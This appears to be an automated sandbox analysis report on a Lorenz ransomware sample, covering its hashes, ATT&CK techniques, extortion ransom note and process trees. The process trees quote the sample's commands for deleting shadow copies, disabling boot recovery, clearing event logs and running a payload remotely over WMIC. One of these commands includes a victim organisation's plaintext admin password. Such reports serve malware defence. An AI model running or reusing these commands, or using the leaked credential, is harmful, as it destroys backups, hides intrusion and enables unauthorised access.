c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
11-08-2024 00:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
Size

1016KB
MD5

885c935f89580c98444c64b2710378d2
SHA1

ec3a9cde30a280b825f9603ed6d2f346a24e27d5
SHA256

c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb
SHA512

4f2c306cf06d09e6cf776c2a2947239982d27a058b4104875d00c8a623a8ceafeeba8a5b1afdf86c841aa0972f235556f7214e28c4fd8d1936237520c388c0be
SSDEEP

24576:LibnUPR2bYg1yiwKZycSQLyMTNuSBOpFhA8ld8Wm8/uyA:ubCR2bIoyqG4ZBObd8WmRyA

Score

10^/10

defense_evasion discovery evasion execution impact ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Public\Desktop\HELP_SECURITY_EVENT.html

Ransom Note

.sz40<br><style>.container{position:relative;text-align: center;}.top-right{position:absolute;top:20px;left:50%;transform:translate(-50%, -50%);}</style><table align ="center" width="50%" style="border:1px solid red;"><tr><div class="container"><img width="50%" height="90" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAQCAIAAACgHXkXAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEpJREFUeNpiYMALGFdYWuORZvn95Qs+6Z8fPuKT/vX9O17Df/zAq/vnT7zSv3/jNRyvv1n+UCQNMfw/WliSphunNCMTMwPZACDAAM86GalyBR+JAAAAAElFTkSuQmCC"/><div class="top-right"><h1><p style="color:#FFD700">Lorenz ransomware</p></h1></div><th><td><b>Good day</b>!<br>We have download and encrypted all your company files!<br><br>We did this using hybrid RSA - 2048 public key encryption.It basically means there is no way to decrypt your files without the private key.<br>The private key is stored on our server.<br><br>Indeed, we can recover your files. You just have to pay us before the deadline.<br>If you don't, the private key will be securely erased from our server, you lose encrypted files forever and we will publish all the contents of your company includes databases with SSN and diagnosis, correspondence, invoice's, signature's, confidential medical history's, balance sheet's etc. on the internet, send it to mass media and your customers.<br><br> Leave your contact mail to <b>http://egypghtljedbs3x3ui45tfhosakzb376epl7baq2ruzfyewcypswhgqd.onion/index.php</b> (it's Tor site, use Tor Browser <b>https://www.torproject.org/download/</b>) to get instructions and key to restore all your files. <br>Or leave your contact mail to decrypt 2 files for free.<br> After payment will recieve, we securely delete all your files from our servers.<br> <b>Deadline: 02.15.2021</b><b><br><br><b>WARNING!</b> Antivirus software, police or anyone can't decrypt your files. Also any attemps to modify files may damaged them and even we won't be able to recover them.<br><br></td></th></tr></table>

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2800	2556	cmd.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2788	2556	cmd.exe	35
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	2556	cmd.exe	35

Clears Windows event logs 1 TTPs 16 IoCs

evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
808	wevtutil.exe
3060	wevtutil.exe
1540	wevtutil.exe
2416	wevtutil.exe
1560	wevtutil.exe
2212	wevtutil.exe
2596	wevtutil.exe
2128	wevtutil.exe
1776	wevtutil.exe
340	wevtutil.exe
208	wevtutil.exe
1744	wevtutil.exe
1416	wevtutil.exe
620	wevtutil.exe
688	wevtutil.exe
2032	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1700	bcdedit.exe
2244	bcdedit.exe

Renames multiple (315) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\S:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\V:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\B:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\I:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\L:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Q:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\T:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Z:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\E:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\H:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\J:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\K:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\Y:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\G:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\N:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\P:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\X:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\W:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\A:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\M:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\O:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
File opened (read-only)	\??\U:	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe

Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2832	WMIC.exe
2808	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2644	WMIC.exe
Token: SeSecurityPrivilege	2644	WMIC.exe
Token: SeTakeOwnershipPrivilege	2644	WMIC.exe
Token: SeLoadDriverPrivilege	2644	WMIC.exe
Token: SeSystemProfilePrivilege	2644	WMIC.exe
Token: SeSystemtimePrivilege	2644	WMIC.exe
Token: SeProfSingleProcessPrivilege	2644	WMIC.exe
Token: SeIncBasePriorityPrivilege	2644	WMIC.exe
Token: SeCreatePagefilePrivilege	2644	WMIC.exe
Token: SeBackupPrivilege	2644	WMIC.exe
Token: SeRestorePrivilege	2644	WMIC.exe
Token: SeShutdownPrivilege	2644	WMIC.exe
Token: SeDebugPrivilege	2644	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2644	WMIC.exe
Token: SeRemoteShutdownPrivilege	2644	WMIC.exe
Token: SeUndockPrivilege	2644	WMIC.exe
Token: SeManageVolumePrivilege	2644	WMIC.exe
Token: 33	2644	WMIC.exe
Token: 34	2644	WMIC.exe
Token: 35	2644	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2644	WMIC.exe
Token: SeSecurityPrivilege	2644	WMIC.exe
Token: SeTakeOwnershipPrivilege	2644	WMIC.exe
Token: SeLoadDriverPrivilege	2644	WMIC.exe
Token: SeSystemProfilePrivilege	2644	WMIC.exe
Token: SeSystemtimePrivilege	2644	WMIC.exe
Token: SeProfSingleProcessPrivilege	2644	WMIC.exe
Token: SeIncBasePriorityPrivilege	2644	WMIC.exe
Token: SeCreatePagefilePrivilege	2644	WMIC.exe
Token: SeBackupPrivilege	2644	WMIC.exe
Token: SeRestorePrivilege	2644	WMIC.exe
Token: SeShutdownPrivilege	2644	WMIC.exe
Token: SeDebugPrivilege	2644	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2644	WMIC.exe
Token: SeRemoteShutdownPrivilege	2644	WMIC.exe
Token: SeUndockPrivilege	2644	WMIC.exe
Token: SeManageVolumePrivilege	2644	WMIC.exe
Token: 33	2644	WMIC.exe
Token: 34	2644	WMIC.exe
Token: 35	2644	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe
Token: 33	2688	WMIC.exe
Token: 34	2688	WMIC.exe
Token: 35	2688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2644	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	31
PID 2356 wrote to memory of 2644	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	31
PID 2356 wrote to memory of 2644	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	31
PID 2356 wrote to memory of 2644	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	31
PID 2356 wrote to memory of 2688	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	33
PID 2356 wrote to memory of 2688	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	33
PID 2356 wrote to memory of 2688	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	33
PID 2356 wrote to memory of 2688	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	33
PID 2356 wrote to memory of 2808	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2808	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2808	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	36
PID 2356 wrote to memory of 2808	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	36
PID 2808 wrote to memory of 2832	2808	cmd.exe	42
PID 2808 wrote to memory of 2832	2808	cmd.exe	42
PID 2808 wrote to memory of 2832	2808	cmd.exe	42
PID 2808 wrote to memory of 2832	2808	cmd.exe	42
PID 2788 wrote to memory of 2804	2788	cmd.exe	43
PID 2788 wrote to memory of 2804	2788	cmd.exe	43
PID 2788 wrote to memory of 2804	2788	cmd.exe	43
PID 2800 wrote to memory of 808	2800	cmd.exe	44
PID 2800 wrote to memory of 808	2800	cmd.exe	44
PID 2800 wrote to memory of 808	2800	cmd.exe	44
PID 2800 wrote to memory of 1416	2800	cmd.exe	45
PID 2800 wrote to memory of 1416	2800	cmd.exe	45
PID 2800 wrote to memory of 1416	2800	cmd.exe	45
PID 2800 wrote to memory of 2128	2800	cmd.exe	46
PID 2800 wrote to memory of 2128	2800	cmd.exe	46
PID 2800 wrote to memory of 2128	2800	cmd.exe	46
PID 2800 wrote to memory of 620	2800	cmd.exe	48
PID 2800 wrote to memory of 620	2800	cmd.exe	48
PID 2800 wrote to memory of 620	2800	cmd.exe	48
PID 2800 wrote to memory of 3060	2800	cmd.exe	49
PID 2800 wrote to memory of 3060	2800	cmd.exe	49
PID 2800 wrote to memory of 3060	2800	cmd.exe	49
PID 2800 wrote to memory of 688	2800	cmd.exe	50
PID 2800 wrote to memory of 688	2800	cmd.exe	50
PID 2800 wrote to memory of 688	2800	cmd.exe	50
PID 2800 wrote to memory of 2416	2800	cmd.exe	52
PID 2800 wrote to memory of 2416	2800	cmd.exe	52
PID 2800 wrote to memory of 2416	2800	cmd.exe	52
PID 2800 wrote to memory of 1776	2800	cmd.exe	53
PID 2800 wrote to memory of 1776	2800	cmd.exe	53
PID 2800 wrote to memory of 1776	2800	cmd.exe	53
PID 2788 wrote to memory of 1700	2788	cmd.exe	54
PID 2788 wrote to memory of 1700	2788	cmd.exe	54
PID 2788 wrote to memory of 1700	2788	cmd.exe	54
PID 2788 wrote to memory of 2244	2788	cmd.exe	55
PID 2788 wrote to memory of 2244	2788	cmd.exe	55
PID 2788 wrote to memory of 2244	2788	cmd.exe	55
PID 2356 wrote to memory of 856	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	59
PID 2356 wrote to memory of 856	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	59
PID 2356 wrote to memory of 856	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	59
PID 2356 wrote to memory of 856	2356	885c935f89580c98444c64b2710378d2_JaffaCakes118.exe	59
PID 1296 wrote to memory of 2032	1296	cmd.exe	63
PID 1296 wrote to memory of 2032	1296	cmd.exe	63
PID 1296 wrote to memory of 2032	1296	cmd.exe	63
PID 1296 wrote to memory of 1560	1296	cmd.exe	64
PID 1296 wrote to memory of 1560	1296	cmd.exe	64
PID 1296 wrote to memory of 1560	1296	cmd.exe	64
PID 1296 wrote to memory of 2212	1296	cmd.exe	65
PID 1296 wrote to memory of 2212	1296	cmd.exe	65
PID 1296 wrote to memory of 2212	1296	cmd.exe	65
PID 1296 wrote to memory of 1540	1296	cmd.exe	66
PID 1296 wrote to memory of 1540	1296	cmd.exe	66

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\885c935f89580c98444c64b2710378d2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\885c935f89580c98444c64b2710378d2_JaffaCakes118.exe"
1⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c WMIC.exe shadowcopy delete /nointeractive & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures'
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"'
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic /node:'0.0.0.0' /USER:'wolfeclinicpc.int\RSMAdmin' /PASSWORD:'4Myiz0nlY' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz40 /TR '\\wolfeclinicpc.int\NETLOGON\sinhost.exe' & SCHTASKS /run /TN sz40&SCHTASKS /Delete /TN sz40 /F"
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic /node:'0.0.0.0' /USER:'wolfeclinicpc.int\RSMAdmin' /PASSWORD:'4Myiz0nlY' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz40 /TR '\\wolfeclinicpc.int\NETLOGON\sinhost.exe' & SCHTASKS /run /TN sz40&SCHTASKS /Delete /TN sz40 /F"
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:2832
- C:\Windows\SysWOW64\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" process call create 'cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"'
  2⤵
  - System Location Discovery: System Language Discovery
  PID:856

C:\Windows\system32\cmd.exe
cmd.exe /c WMIC.exe shadowcopy delete /nointeractive & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\System32\Wbem\WMIC.exe
  WMIC.exe shadowcopy delete /nointeractive
  2⤵
  PID:2804
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} recoveryenabled no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1700
- C:\Windows\system32\bcdedit.exe
  bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2244

C:\Windows\system32\cmd.exe
cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:808
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "windows powershell"
  2⤵
  - Clears Windows event logs
  PID:1416
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:2128
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Application"
  2⤵
  - Clears Windows event logs
  PID:620
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "HardwareEvents"
  2⤵
  - Clears Windows event logs
  PID:3060
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "System"
  2⤵
  - Clears Windows event logs
  PID:688
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:2416
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:1776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:560

C:\Windows\system32\cmd.exe
cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl "HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:2032
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "windows powershell"
  2⤵
  - Clears Windows event logs
  PID:1560
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "security"
  2⤵
  - Clears Windows event logs
  PID:2212
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Application"
  2⤵
  - Clears Windows event logs
  PID:1540
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "HardwareEvents"
  2⤵
  - Clears Windows event logs
  PID:2596
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "System"
  2⤵
  - Clears Windows event logs
  PID:340
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:208
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Setup"
  2⤵
  - Clears Windows event logs
  PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact